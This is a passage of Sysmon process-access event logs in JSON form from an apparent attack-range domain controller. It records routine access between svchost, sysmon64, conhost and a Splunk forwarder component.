11:57:41.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6051,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:41.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:41.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6052,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:41.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:41.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6053,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:41.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:41.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6054,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:41.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:41.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6055,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:41.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:41.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6056,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:41.901\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-41B5-5F2D-0000-0010A0F20800}\r\nTargetProcessId: 5048\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:41.901","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-41B5-5F2D-0000-0010A0F20800}","TargetProcessId":"5048","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6057,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:58.698\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00104DCB0000}\r\nTargetProcessId: 1308\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:58.698","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00104DCB0000}","TargetProcessId":"1308","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6058,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:58.698\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:58.698","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6059,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:00.760\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:00.760","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 